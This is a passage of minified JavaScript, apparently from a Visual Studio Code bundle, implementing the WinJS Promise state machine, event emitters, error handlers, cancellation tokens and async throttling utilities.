t=e.Class.derive(Error,function(e,t){this.name=e,this.message=t||e},{},{supportedForProcessing:!1});return e.Namespace.define(\"WinJS\",{ErrorFromName:t}),t}),t(\"WinJS/Core/_Events\",[\"exports\",\"WinJS/Core/_Base\"],function(e,t){\"use strict\";function n(e){var t=\"_on\"+e+\"state\";return{get:function(){var e=this[t];return e&&e.userHandler},set:function(n){var r=this[t];n?(r||(r={wrapper:function(e){return r.userHandler(e)},userHandler:n},Object.defineProperty(this,t,{value:r,enumerable:!1,writable:!0,configurable:!0}),this.addEventListener(e,r.wrapper,!1)),r.userHandler=n):r&&(this.removeEventListener(e,r.wrapper,!1),this[t]=null)},enumerable:!0}}var r=t.Class.define(function(e,t,n){this.detail=t,this.target=n,this.timeStamp=Date.now(),this.type=e},{bubbles:{value:!1,writable:!1},cancelable:{value:!1,writable:!1},currentTarget:{get:function(){return this.target}},defaultPrevented:{get:function(){return this._preventDefaultCalled}},trusted:{value:!1,writable:!1},eventPhase:{value:0,writable:!1},target:null,timeStamp:null,type:null,preventDefault:function(){this._preventDefaultCalled=!0},stopImmediatePropagation:function(){this._stopImmediatePropagationCalled=!0},stopPropagation:function(){}},{supportedForProcessing:!1}),i={_listeners:null,addEventListener:function(e,t,n){n=n||!1,this._listeners=this._listeners||{};for(var r=this._listeners[e]=this._listeners[e]||[],i=0,o=r.length;i<o;i++){var s=r[i];if(s.useCapture===n&&s.listener===t)return}r.push({listener:t,useCapture:n})},dispatchEvent:function(e,t){var n=this._listeners&&this._listeners[e];if(n){for(var i=new r(e,t,this),o=0,s=(n=n.slice(0,n.length)).length;o<s&&!i._stopImmediatePropagationCalled;o++)n[o].listener(i);return i.defaultPrevented||!1}return!1},removeEventListener:function(e,t,n){n=n||!1;var r=this._listeners&&this._listeners[e];if(r)for(var i=0,o=r.length;i<o;i++){var s=r[i];if(s.listener===t&&s.useCapture===n){r.splice(i,1),0===r.length&&delete this._listeners[e];break}}}};t.Namespace._moduleDefine(e,\"WinJS.Utilities\",{_createEventProperty:n,createEventProperties:function(){for(var e={},t=0,r=arguments.length;t<r;t++){var i=arguments[t];e[\"on\"+i]=n(i)}return e},eventMixin:i})}),t(\"WinJS/Core/_Trace\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";function t(e){return e}return{_traceAsyncOperationStarting:e.Debug&&e.Debug.msTraceAsyncOperationStarting&&e.Debug.msTraceAsyncOperationStarting.bind(e.Debug)||t,_traceAsyncOperationCompleted:e.Debug&&e.Debug.msTraceAsyncOperationCompleted&&e.Debug.msTraceAsyncOperationCompleted.bind(e.Debug)||t,_traceAsyncCallbackStarting:e.Debug&&e.Debug.msTraceAsyncCallbackStarting&&e.Debug.msTraceAsyncCallbackStarting.bind(e.Debug)||t,_traceAsyncCallbackCompleted:e.Debug&&e.Debug.msTraceAsyncCallbackCompleted&&e.Debug.msTraceAsyncCallbackCompleted.bind(e.Debug)||t}}),t(\"WinJS/Promise/_StateMachine\",[\"WinJS/Core/_Global\",\"WinJS/Core/_BaseCoreUtils\",\"WinJS/Core/_Base\",\"WinJS/Core/_ErrorFromName\",\"WinJS/Core/_Events\",\"WinJS/Core/_Trace\"],function(e,t,n,r,i,o){\"use strict\";function s(){}function u(e,t){var n;n=t&&\"object\"==typeof t&&\"function\"==typeof t.then?T:R,e._value=t,e._setState(n)}function a(e,t,n,r,i,o){return{exception:e,error:t,promise:n,handler:o,id:r,parent:i}}function l(e,t,n,r){var i=n._isException,o=n._errorId;return a(i?t:null,i?null:t,e,o,n,r)}function c(e,t,n){var r=n._isException,i=n._errorId;return b(e,i,r),a(r?t:null,r?null:t,e,i,n)}function f(e,t){var n=++q;return b(e,n),a(null,t,e,n)}function h(e,t){var n=++q;return b(e,n,!0),a(t,null,e,n)}function d(e,t,n,r){y(e,{c:t,e:n,p:r,asyncOpID:o._traceAsyncOperationStarting(\"WinJS.Promise.done\")})}function p(e,t,n,r){e._value=t,g(e,t,n,r),e._setState(K)}function m(t,n){var r=t._value,i=t._listeners;if(i){t._listeners=null;var s,u;for(s=0,u=Array.isArray(i)?i.length:1;s<u;s++){var a=1===u?i:i[s],l=a.c,c=a.promise;if(o._traceAsyncOperationCompleted(a.asyncOpID,e.Debug&&e.Debug.MS_ASYNC_OP_STATUS_SUCCESS),c){o._traceAsyncCallbackStarting(a.asyncOpID);try{c._setCompleteValue(l?l(r):r)}catch(e){c._setExceptionValue(e)}finally{o._traceAsyncCallbackCompleted()}c._state!==T&&c._listeners&&n.push(c)}else z.prototype.done.call(t,l)}}}function _(t,n){var r=t._value,i=t._listeners;if(i){t._listeners=null;var s,u;for(s=0,u=Array.isArray(i)?i.length:1;s<u;s++){var a=1===u?i:i[s],c=a.e,f=a.promise,h=e.Debug&&(r&&r.name===M?e.Debug.MS_ASYNC_OP_STATUS_CANCELED:e.Debug.MS_ASYNC_OP_STATUS_ERROR);if(o._traceAsyncOperationCompleted(a.asyncOpID,h),f){var d=!1;try{c?(o._traceAsyncCallbackStarting(a.asyncOpID),d=!0,c.handlesOnError||g(f,r,l,t,c),f._setCompleteValue(c(r))):f._setChainedErrorValue(r,t)}catch(e){f._setExceptionValue(e)}finally{d&&o._traceAsyncCallbackCompleted()}f._state!==T&&f._listeners&&n.push(f)}else V.prototype.done.call(t,null,c)}}}function g(e,t,n,r,i){if(A._listeners[P]){if(t instanceof Error&&t.message===M)return;A.dispatchEvent(P,n(e,t,r,i))}}function v(e,t){var n=e._listeners;if(n){var r,i;for(r=0,i=Array.isArray(n)?n.length:1;r<i;r++){var o=1===i?n:n[r],s=o.p;if(s)try{s(t)}catch(e){}o.c||o.e||!o.promise||o.promise._progress(t)}}}function y(e,t){var n=e._listeners;n?(n=Array.isArray(n)?n:[n]).push(t):n=t,e._listeners=n}function b(e,t,n){e._isException=n||!1,e._errorId=t}function C(e,t,n,r){e._value=t,g(e,t,n,r),e._setState(W)}function E(e,t){var n;n=t&&\"object\"==typeof t&&\"function\"==typeof t.then?T:F,e._value=t,e._setState(n)}function S(e,t,n,r){var i=new j(e);return y(e,{promise:i,c:t,e:n,p:r,asyncOpID:o._traceAsyncOperationStarting(\"WinJS.Promise.then\")}),i}function L(n){var r;return new J(function(i){n?r=e.setTimeout(i,n):t._setImmediate(i)},function(){r&&e.clearTimeout(r)})}function N(e,t){var n=function(){e.cancel()};return e.then(function(){t.cancel()}),t.then(n,n),t}e.Debug&&(e.Debug.setNonUserCodeExceptions=!0);var A=new(n.Class.mix(n.Class.define(null,{},{supportedForProcessing:!1}),i.eventMixin));A._listeners={};var P=\"error\",M=\"Canceled\",w=!1,D={promise:1,thenPromise:2,errorPromise:4,exceptionPromise:8,completePromise:16};D.all=D.promise|D.thenPromise|D.errorPromise|D.exceptionPromise|D.completePromise;var I,k,T,U,O,x,R,F,K,W,q=1;I={name:\"created\",enter:function(e){e._setState(k)},cancel:s,done:s,then:s,_completed:s,_error:s,_notify:s,_progress:s,_setCompleteValue:s,_setErrorValue:s},k={name:\"working\",enter:s,cancel:function(e){e._setState(O)},done:d,then:S,_completed:u,_error:p,_notify:s,_progress:v,_setCompleteValue:E,_setErrorValue:C},T={name:\"waiting\",enter:function(e){var t=e._value;if(t instanceof j&&t._state!==W&&t._state!==F)y(t,{promise:e});else{var n=function(r){t._errorId?e._chainedError(r,t):(g(e,r,l,t,n),e._error(r))};n.handlesOnError=!0,t.then(e._completed.bind(e),n,e._progress.bind(e))}},cancel:function(e){e._setState(U)},done:d,then:S,_completed:u,_error:p,_notify:s,_progress:v,_setCompleteValue:E,_setErrorValue:C},U={name:\"waiting_canceled\",enter:function(e){e._setState(x);var t=e._value;t.cancel&&t.cancel()},cancel:s,done:d,then:S,_completed:u,_error:p,_notify:s,_progress:v,_setCompleteValue:E,_setErrorValue:C},O={name:\"canceled\",enter:function(e){e._setState(x),e._cancelAction()},cancel:s,done:d,then:S,_completed:u,_error:p,_notify:s,_progress:v,_setCompleteValue:E,_setErrorValue:C},x={name:\"canceling\",enter:function(e){var t=new Error(M);t.name=t.message,e._value=t,e._setState(K)},cancel:s,done:s,then:s,_completed:s,_error:s,_notify:s,_progress:s,_setCompleteValue:s,_setErrorValue:s},R={name:\"complete_notify\",enter:function(e){if(e.done=z.prototype.done,e.then=z.prototype.then,e._listeners)for(var t,n=[e];n.length;)(t=n.shift())._state._notify(t,n);e._setState(F)},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:m,_progress:s,_setCompleteValue:s,_setErrorValue:s},F={name:\"success\",enter:function(e){e.done=z.prototype.done,e.then=z.prototype.then,e._cleanupAction()},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:m,_progress:s,_setCompleteValue:s,_setErrorValue:s},K={name:\"error_notify\",enter:function(e){if(e.done=V.prototype.done,e.then=V.prototype.then,e._listeners)for(var t,n=[e];n.length;)(t=n.shift())._state._notify(t,n);e._setState(W)},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:_,_progress:s,_setCompleteValue:s,_setErrorValue:s},W={name:\"error\",enter:function(e){e.done=V.prototype.done,e.then=V.prototype.then,e._cleanupAction()},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:_,_progress:s,_setCompleteValue:s,_setErrorValue:s};var B,Y=n.Class.define(null,{_listeners:null,_nextState:null,_state:null,_value:null,cancel:function(){this._state.cancel(this),this._run()},done:function(e,t,n){this._state.done(this,e,t,n)},then:function(e,t,n){return this._state.then(this,e,t,n)},_chainedError:function(e,t){var n=this._state._error(this,e,c,t);return this._run(),n},_completed:function(e){var t=this._state._completed(this,e);return this._run(),t},_error:function(e){var t=this._state._error(this,e,f);return this._run(),t},_progress:function(e){this._state._progress(this,e)},_setState:function(e){this._nextState=e},_setCompleteValue:function(e){this._state._setCompleteValue(this,e),this._run()},_setChainedErrorValue:function(e,t){var n=this._state._setErrorValue(this,e,c,t);return this._run(),n},_setExceptionValue:function(e){var t=this._state._setErrorValue(this,e,h);return this._run(),t},_run:function(){for(;this._nextState;)this._state=this._nextState,this._nextState=null,this._state.enter(this)}},{supportedForProcessing:!1}),j=n.Class.derive(Y,function(e){w&&(!0===w||w&D.thenPromise)&&(this._stack=J._getStack()),this._creator=e,this._setState(I),this._run()},{_creator:null,_cancelAction:function(){this._creator&&this._creator.cancel()},_cleanupAction:function(){this._creator=null}},{supportedForProcessing:!1}),V=n.Class.define(function(e){w&&(!0===w||w&D.errorPromise)&&(this._stack=J._getStack()),this._value=e,g(this,e,f)},{cancel:function(){},done:function(e,t){var n=this._value;if(t)try{t.handlesOnError||g(null,n,l,this,t);var r=t(n);return void(r&&\"object\"==typeof r&&\"function\"==typeof r.done&&r.done())}catch(e){n=e}n instanceof Error&&n.message===M||J._doneHandler(n)},then:function(e,t){if(!t)return this;var n,r=this._value;try{t.handlesOnError||g(null,r,l,this,t),n=new z(t(r))}catch(e){n=e===r?this:new H(e)}return n}},{supportedForProcessing:!1}),H=n.Class.derive(V,function(e){w&&(!0===w||w&D.exceptionPromise)&&(this._stack=J._getStack()),this._value=e,g(this,e,h)},{},{supportedForProcessing:!1}),z=n.Class.define(function(e){if(w&&(!0===w||w&D.completePromise)&&(this._stack=J._getStack()),e&&\"object\"==typeof e&&\"function\"==typeof e.then){var t=new j(null);return t._setCompleteValue(e),t}this._value=e},{cancel:function(){},done:function(e){if(e)try{var t=e(this._value);t&&\"object\"==typeof t&&\"function\"==typeof t.done&&t.done()}catch(e){J._doneHandler(e)}},then:function(e){try{var t=e?e(this._value):this._value;return t===this._value?this:new z(t)}catch(e){return new H(e)}}},{supportedForProcessing:!1}),J=n.Class.derive(Y,function(e,t){w&&(!0===w||w&D.promise)&&(this._stack=J._getStack()),this._oncancel=t,this._setState(I),this._run();try{e(this._completed.bind(this),this._error.bind(this),this._progress.bind(this))}catch(e){this._setExceptionValue(e)}},{_oncancel:null,_cancelAction:function(){try{if(!this._oncancel)throw new Error(\"Promise did not implement oncancel\");this._oncancel()}catch(e){e.message,e.stack;A.dispatchEvent(\"error\",e)}},_cleanupAction:function(){this._oncancel=null}},{addEventListener:function(e,t,n){A.addEventListener(e,t,n)},any:function(e){return new J(function(t,n){var r=Object.keys(e);0===r.length&&t();var i=0;r.forEach(function(o){J.as(e[o]).then(function(){t({key:o,value:e[o]})},function(s){s instanceof Error&&s.name===M?++i===r.length&&t(J.cancel):n({key:o,value:e[o]})})})},function(){Object.keys(e).forEach(function(t){var n=J.as(e[t]);\"function\"==typeof n.cancel&&n.cancel()})})},as:function(e){return e&&\"object\"==typeof e&&\"function\"==typeof e.then?e:new z(e)},cancel:{get:function(){return B=B||new V(new r(M))}},dispatchEvent:function(e,t){return A.dispatchEvent(e,t)},is:function(e){return e&&\"object\"==typeof e&&\"function\"==typeof e.then},join:function(e){return new J(function(t,n,r){var i=Object.keys(e),o=Array.isArray(e)?[]:{},s=Array.isArray(e)?[]:{},u=0,a=i.length,l=function(e){if(0==--a){var u=Object.keys(o).length;if(0===u)t(s);else{var l=0;i.forEach(function(e){var t=o[e];t instanceof Error&&t.name===M&&l++}),l===u?t(J.cancel):n(o)}}else r({Key:e,Done:!0})};i.forEach(function(t){var n=e[t];void 0===n?u++:J.then(n,function(e){s[t]=e,l(t)},function(e){o[t]=e,l(t)})}),0!==(a-=u)||t(s)},function(){Object.keys(e).forEach(function(t){var n=J.as(e[t]);\"function\"==typeof n.cancel&&n.cancel()})})},removeEventListener:function(e,t,n){A.removeEventListener(e,t,n)},supportedForProcessing:!1,then:function(e,t,n,r){return J.as(e).then(t,n,r)},thenEach:function(e,t,n,r){var i=Array.isArray(e)?[]:{};return Object.keys(e).forEach(function(o){i[o]=J.as(e[o]).then(t,n,r)}),J.join(i)},timeout:function(e,t){var n=L(e);return t?N(n,t):n},wrap:function(e){return new z(e)},wrapError:function(e){return new V(e)},_veryExpensiveTagWithStack:{get:function(){return w},set:function(e){w=e}},_veryExpensiveTagWithStack_tag:D,_getStack:function(){if(e.Debug&&e.Debug.debuggerEnabled)try{throw new Error}catch(e){return e.stack}},_cancelBlocker:function(e,t){if(!J.is(e))return J.wrap(e);var n,r,i=new J(function(e,t){n=e,r=t},function(){n=null,r=null,t&&t()});return e.then(function(e){n&&n(e)},function(e){r&&r(e)}),i}});return Object.defineProperties(J,i.createEventProperties(P)),J._doneHandler=function(e){t._setImmediate(function(){throw e})},{PromiseStateMachine:Y,Promise:J,state_created:I}}),t(\"WinJS/Promise\",[\"WinJS/Core/_Base\",\"WinJS/Promise/_StateMachine\"],function(e,t){\"use strict\";return e.Namespace.define(\"WinJS\",{Promise:t.Promise}),t.Promise});var n=e[\"WinJS/Core/_WinJS\"];\"undefined\"==typeof exports&&\"function\"==typeof r&&r.amd?r(\"vs/base/common/winjs.base.raw\",n):module.exports=n,\"undefined\"!=typeof process&&\"function\"==typeof process.nextTick&&(e[\"WinJS/Core/_BaseCoreUtils\"]._setImmediate=function(e){return process.nextTick(e)})}(),r(e[2],t([32]),function(e){\"use strict\";return{Promise:e.Promise,TPromise:e.Promise,PPromise:e.Promise}}),r(e[8],t([1,0,4,14,2]),function(e,t,n,r,i){\"use strict\";function o(e){s(e)||t.errorHandler.onUnexpectedError(e)}function s(e){return e instanceof Error&&e.name===l&&e.message===l}Object.defineProperty(t,\"__esModule\",{value:!0});var u={};i.TPromise.addEventListener(\"error\",function(e){var t=e.detail,n=t.id;t.parent?t.handler&&u&&delete u[n]:(u[n]=t,1===Object.keys(u).length&&setTimeout(function(){var e=u;u={},Object.keys(e).forEach(function(t){var n=e[t];n.exception?o(n.exception):n.error&&o(n.error),console.log(\"WARNING: Promise with no error callback:\"+n.id),console.log(n),n.exception&&console.log(n.exception.stack)})},0))});var a=function(){function e(){this.listeners=[],this.unexpectedErrorHandler=function(e){n.setTimeout(function(){if(e.stack)throw new Error(e.message+\"\\n\\n\"+e.stack);throw e},0)}}return e.prototype.addListener=function(e){var t=this;return this.listeners.push(e),function(){t._removeListener(e)}},e.prototype.emit=function(e){this.listeners.forEach(function(t){t(e)})},e.prototype._removeListener=function(e){this.listeners.splice(this.listeners.indexOf(e),1)},e.prototype.setUnexpectedErrorHandler=function(e){this.unexpectedErrorHandler=e},e.prototype.getUnexpectedErrorHandler=function(){return this.unexpectedErrorHandler},e.prototype.onUnexpectedError=function(e){this.unexpectedErrorHandler(e),this.emit(e)},e.prototype.onUnexpectedExternalError=function(e){this.unexpectedErrorHandler(e)},e}();t.ErrorHandler=a,t.errorHandler=new a,t.setUnexpectedErrorHandler=function(e){t.errorHandler.setUnexpectedErrorHandler(e)},t.onUnexpectedError=o,t.onUnexpectedExternalError=function(e){s(e)||t.errorHandler.onUnexpectedExternalError(e)},t.onUnexpectedPromiseError=function(e){return e.then(null,o)},t.transformErrorForSerialization=function(e){return e instanceof Error?{$isError:!0,name:e.name,message:e.message,stack:e.stacktrace||e.stack}:e};var l=\"Canceled\";t.isPromiseCanceledError=s,t.canceled=function(){var e=new Error(l);return e.name=e.message,e},t.notImplemented=function(){return new Error(\"Not Implemented\")},t.illegalArgument=function(e){return e?new Error(\"Illegal argument: \"+e):new Error(\"Illegal argument\")},t.illegalState=function(e){return e?new Error(\"Illegal state: \"+e):new Error(\"Illegal state\")},t.readonly=function(e){return e?new Error(\"readonly property '\"+e+\" cannot be changed'\"):new Error(\"readonly property cannot be changed\")},t.create=function(e,t){void 0===t&&(t={});var n=new Error(e);return r.isNumber(t.severity)&&(n.severity=t.severity),t.actions&&(n.actions=t.actions),n},t.getErrorMessage=function(e){return e?e.message?e.message:e.stack?e.stack.split(\"\\n\")[0]:String(e):\"Error\"}}),r(e[15],t([1,0,8]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(){}return e.prototype.add=function(e,t,n){var r=this;void 0===t&&(t=null),this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(t),Array.isArray(n)&&n.push({dispose:function(){return r.remove(e,t)}})},e.prototype.remove=function(e,t){if(void 0===t&&(t=null),this._callbacks){for(var n=!1,r=0,i=this._callbacks.length;r<i;r++)if(this._callbacks[r]===e){if(this._contexts[r]===t)return this._callbacks.splice(r,1),void this._contexts.splice(r,1);n=!0}if(n)throw new Error(\"When adding a listener with a context, you should remove it with the same context\")}},e.prototype.invoke=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(this._callbacks){for(var r=[],i=this._callbacks.slice(0),o=this._contexts.slice(0),s=0,u=i.length;s<u;s++)try{r.push(i[s].apply(o[s],e))}catch(e){n.onUnexpectedError(e)}return r}},e.prototype.isEmpty=function(){return!this._callbacks||0===this._callbacks.length},e.prototype.entries=function(){var e=this;return this._callbacks?this._callbacks.map(function(t,n){return[t,e._contexts[n]]}):[]},e.prototype.dispose=function(){this._callbacks=void 0,this._contexts=void 0},e}();t.default=r}),r(e[9],t([1,0,10,15,2,11]),function(e,t,n,r,i,o){\"use strict\";function s(e){return function(t,n,r){void 0===n&&(n=null);var i=e(function(e){return i.dispose(),t.call(n,e)},null,r);return i}}function u(e,t){return function(n,r,i){return void 0===r&&(r=null),e(function(e){return n.call(r,t(e))},null,i)}}function a(e,t){return function(n,r,i){return void 0===r&&(r=null),e(function(e){return t(e)&&n.call(r,e)},null,i)}}Object.defineProperty(t,\"__esModule\",{value:!0});var l;!function(e){var t={dispose:function(){}};e.None=function(){return t}}(l||(l={})),t.default=l;var c=function(){function e(e){this._options=e}return Object.defineProperty(e.prototype,\"event\",{get:function(){var t=this;return this._event||(this._event=function(n,i,o){t._callbacks||(t._callbacks=new r.default);var s=t._callbacks.isEmpty();s&&t._options&&t._options.onFirstListenerAdd&&t._options.onFirstListenerAdd(t),t._callbacks.add(n,i),s&&t._options&&t._options.onFirstListenerDidAdd&&t._options.onFirstListenerDidAdd(t),t._options&&t._options.onListenerDidAdd&&t._options.onListenerDidAdd(t,n,i);var u;return u={dispose:function(){u.dispose=e._noop,t._disposed||(t._callbacks.remove(n,i),t._options&&t._options.onLastListenerRemove&&t._callbacks.isEmpty()&&t._options.onLastListenerRemove(t))}},Array.isArray(o)&&o.push(u),u}),this._event},enumerable:!0,configurable:!0}),e.prototype.fire=function(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)},e.prototype.dispose=function(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0,this._disposed=!0)},e._noop=function(){},e}();t.Emitter=c;var f=function(){function e(){var e=this;this.hasListeners=!1,this.events=[],this.emitter=new c({onFirstListenerAdd:function(){return e.onFirstListenerAdd()},onLastListenerRemove:function(){return e.onLastListenerRemove()}})}return Object.defineProperty(e.prototype,\"event\",{get:function(){return this.emitter.event},enumerable:!0,configurable:!0}),e.prototype.add=function(e){var t=this,r={event:e,listener:null};this.events.push(r),this.hasListeners&&this.hook(r);return n.toDisposable(o.once(function(){t.hasListeners&&t.unhook(r);var e=t.events.indexOf(r);t.events.splice(e,1)}))},e.prototype.onFirstListenerAdd=function(){var e=this;this.hasListeners=!0,this.events.forEach(function(t){return e.hook(t)})},e.prototype.onLastListenerRemove=function(){var e=this;this.hasListeners=!1,this.events.forEach(function(t){return e.unhook(t)})},e.prototype.hook=function(e){var t=this;e.listener=e.event(function(e){return t.emitter.fire(e)})},e.prototype.unhook=function(e){e.listener.dispose(),e.listener=null},e.prototype.dispose=function(){this.emitter.dispose()},e}();t.EventMultiplexer=f,t.fromEventEmitter=function(e,t){return function(n,r,i){var o=e.addListener(t,function(){n.apply(r,arguments)});return Array.isArray(i)&&i.push(o),o}},t.fromCallback=function(e){var t,n=new c({onFirstListenerAdd:function(){return t=e(function(e){return n.fire(e)})},onLastListenerRemove:function(){return t.dispose()}});return n.event},t.fromPromise=function(e){var t=new c,n=!1;return e.then(null,function(){return null}).then(function(){n?t.fire():setTimeout(function(){return t.fire()},0)}),n=!0,t.event},t.toPromise=function(e){return new i.TPromise(function(t){var n=e(function(e){n.dispose(),t(e)})})},t.delayed=function(e){var t=null,n=null,r=new c({onFirstListenerAdd:function(){t=e.then(function(e){return n=e(function(e){return r.fire(e)})},function(){return null})},onLastListenerRemove:function(){t&&(t.cancel(),t=null),n&&(n.dispose(),n=null)}});return r.event},t.once=s,t.any=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t,r,i){return void 0===r&&(r=null),n.combinedDisposable(e.map(function(e){return e(function(e){return t.call(r,e)},null,i)}))}},t.debounceEvent=function(e,t,n,r){void 0===n&&(n=100),void 0===r&&(r=!1);var i,o,s,u=0,a=new c({onFirstListenerAdd:function(){i=e(function(e){u++,o=t(o,e),!s&&r&&a.fire(o),clearTimeout(s),s=setTimeout(function(){var e=o;o=void 0,(!r||u>1)&&a.fire(e),s=null,u=0},n)})},onLastListenerRemove:function(){i.dispose()}});return a.event};var h=function(){function e(){this.buffers=[]}return e.prototype.wrapEvent=function(e){var t=this;return function(n,r,i){return e(function(e){var i=t.buffers[t.buffers.length-1];i?i.push(function(){return n.call(r,e)}):n.call(r,e)},void 0,i)}},e.prototype.bufferEvents=function(e){var t=[];this.buffers.push(t),e(),this.buffers.pop(),t.forEach(function(e){return e()})},e}();t.EventBufferer=h,t.mapEvent=u,t.filterEvent=a;var d=function(){function e(e){this._event=e}return Object.defineProperty(e.prototype,\"event\",{get:function(){return this._event},enumerable:!0,configurable:!0}),e.prototype.map=function(t){return new e(u(this._event,t))},e.prototype.filter=function(t){return new e(a(this._event,t))},e.prototype.on=function(e,t,n){return this._event(e,t,n)},e}();t.chain=function(e){return new d(e)},t.stopwatch=function(e){var t=(new Date).getTime();return u(s(e),function(e){return(new Date).getTime()-t})},t.buffer=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=[]),n=n.slice();var r=e(function(e){n?n.push(e):o.fire(e)}),i=function(){n.forEach(function(e){return o.fire(e)}),n=null},o=new c({onFirstListenerAdd:function(){r||(r=e(function(e){return o.fire(e)}))},onFirstListenerDidAdd:function(){n&&(t?setTimeout(i):i())},onLastListenerRemove:function(){r.dispose(),r=null}});return o.event},t.echo=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=[]),n=n.slice(),e(function(e){n.push(e),i.fire(e)});var r=function(e,t){return n.forEach(function(n){return e.call(t,n)})},i=new c({onListenerDidAdd:function(e,n,i){t?setTimeout(function(){return r(n,i)}):r(n,i)}});return i.event}}),r(e[13],t([1,0,9]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r,i=Object.freeze(function(e,t){var n=setTimeout(e.bind(t),0);return{dispose:function(){clearTimeout(n)}}});!function(e){e.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:n.default.None}),e.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:i})}(r=t.CancellationToken||(t.CancellationToken={}));var o=function(){function e(){this._isCancelled=!1}return e.prototype.cancel=function(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 0),this._emitter=void 0))},Object.defineProperty(e.prototype,\"isCancellationRequested\",{get:function(){return this._isCancelled},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onCancellationRequested\",{get:function(){return this._isCancelled?i:(this._emitter||(this._emitter=new n.Emitter),this._emitter.event)},enumerable:!0,configurable:!0}),e}(),s=function(){function e(){}return Object.defineProperty(e.prototype,\"token\",{get:function(){return this._token||(this._token=new o),this._token},enumerable:!0,configurable:!0}),e.prototype.cancel=function(){this._token?this._token.cancel():this._token=r.Cancelled},e.prototype.dispose=function(){this.cancel()},e}();t.CancellationTokenSource=s}),r(e[18],t([1,0,8,4,2,13,10,9]),function(e,t,n,r,i,s,u,a){\"use strict\";function l(e){return e&&\"function\"==typeof e.then}function c(e,t){return new i.TPromise(function(r,i,o){e.done(function(e){try{t(e)}catch(e){n.onUnexpectedError(e)}r(e)},function(e){try{t(e)}catch(e){n.onUnexpectedError(e)}i(e)},function(e){o(e)})},function(){e.cancel()})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.toThenable=function(e){return l(e)?e:i.TPromise.as(e)},t.asWinJsPromise=function(e){var t=new s.CancellationTokenSource;return new i.TPromise(function(n,r,o){var s=e(t.token);s instanceof i.TPromise?s.then(n,r,o):l(s)?s.then(n,r):n(s)},function(){t.cancel()})},t.wireCancellationToken=function(e,t,r){var o=e.onCancellationRequested(function(){return t.cancel()});return r&&(t=t.then(void 0,function(e){if(!n.isPromiseCanceledError(e))return i.TPromise.wrapError(e)})),c(t,function(){return o.dispose()})};var f=function(){function e(){this.activePromise=null,this.queuedPromise=null,this.queuedPromiseFactory=null}return e.prototype.queue=function(e){var t=this;if(this.activePromise){if(this.queuedPromiseFactory=e,!this.queuedPromise){var n=function(){t.queuedPromise=null;var e=t.queue(t.queuedPromiseFactory);return t.queuedPromiseFactory=null,e};this.queuedPromise=new i.TPromise(function(e,r,i){t.activePromise.then(n,n,i).done(e)},function(){t.activePromise.cancel()})}return new i.TPromise(function(e,n,r){t.queuedPromise.then(e,n,r)},function(){})}return this.activePromise=e(),new i.TPromise(function(e,n,r){t.activePromise.done(function(n){t.activePromise=null,e(n)},function(e){t.activePromise=null,n(e)},r)},function(){t.activePromise.cancel()})},e}();t.Throttler=f;var h=function(){function e(){this.current=i.TPromise.as(null)}return e.prototype.queue=function(e){return this.current=this.current.then(function(){return e()})},e}();t.SimpleThrottler=h;var d=function(){function e(e){this.defaultDelay=e,this.timeout=null,this.completionPromise=null,this.onSuccess=null,this.task=null}return e.prototype.trigger=function(e,t){var n=this;return void 0===t&&(t=this.defaultDelay),this.task=e,this.cancelTimeout(),this.completionPromise||(this.completionPromise=new i.TPromise(function(e){n.onSuccess=e},function(){}).then(function(){n.completionPromise=null,n.onSuccess=null;var e=n.task;return n.task=null,e()})),this.timeout=setTimeout(function(){n.timeout=null,n.onSuccess(null)},t),this.completionPromise},e.prototype.isTriggered=function(){return null!==this.timeout},e.prototype.cancel=function(){this.cancelTimeout(),this.completionPromise&&(this.completionPromise.cancel(),this.completionPromise=null)},e.prototype.cancelTimeout=function(){null!==this.timeout&&(clearTimeout(this.timeout),this.timeout=null)},e}();t.Delayer=d;var p=function(e){function t(t){var n=e.call(this,t)||this;return n.throttler=new f,n}return o(t,e),t.prototype.trigger=function(t,n){var r=this;return e.prototype.trigger.call(this,function(){return r.throttler.queue(t)},n)},t}(d);t.ThrottledDelayer=p;var m=function(e){function t(t,n){void 0===n&&(n=0);var r=e.call(this,t)||this;return r.minimumPeriod=n,r.periodThrottler=new f,r}return o(t,e),t.prototype.trigger=function(t,n){var r=this;return e.prototype.trigger.call(this,function(){return r.periodThrottler.queue(function(){return i.Promise.join([i.TPromise.timeout(r.minimumPeriod),t()]).then(function(e){return e[1]})})},n)},t}(p);t.PeriodThrottledDelayer=m;var _=function(){function e(){var e=this;this._value=new i.TPromise(function(t,n){e._completeCallback=t,e._errorCallback=n})}return Object.defineProperty(e.prototype,\"value\",{get:function(){return this._value},enumerable:!0,configurable:!0}),e.prototype.complete=function(e){this._completeCallback(e)},e.prototype.error=function(e){this._errorCallback(e)},e}();t.PromiseSource=_;var g=function(e){function t(t){var r,i,o,s=this;return s=e.call(this,function(e,t,n){r=e,i=t,o=n},function(){i(n.canceled())})||this,t.then(r,i,o),s}return o(t,e),t}(i.TPromise);t.ShallowCancelThenPromise=g,t.always=c,t.sequence=function(e){function t(){return e.length?e.pop()():null}function n(e){void 0!==e&&null!==e&&r.push(e);var o=t();return o?o.then(n):i.TPromise.as(r)}var r=[];return e=e.reverse(),i.TPromise.as(null).then(n)},t.first=function(e,t){void 0===t&&(t=function(e){return!!e}),e=e.reverse().slice();var n=function(){return 0===e.length?i.TPromise.as(null):e.pop()().then(function(e){return t(e)?i.TPromise.as(e):n()})};return n()};var v=function(){function 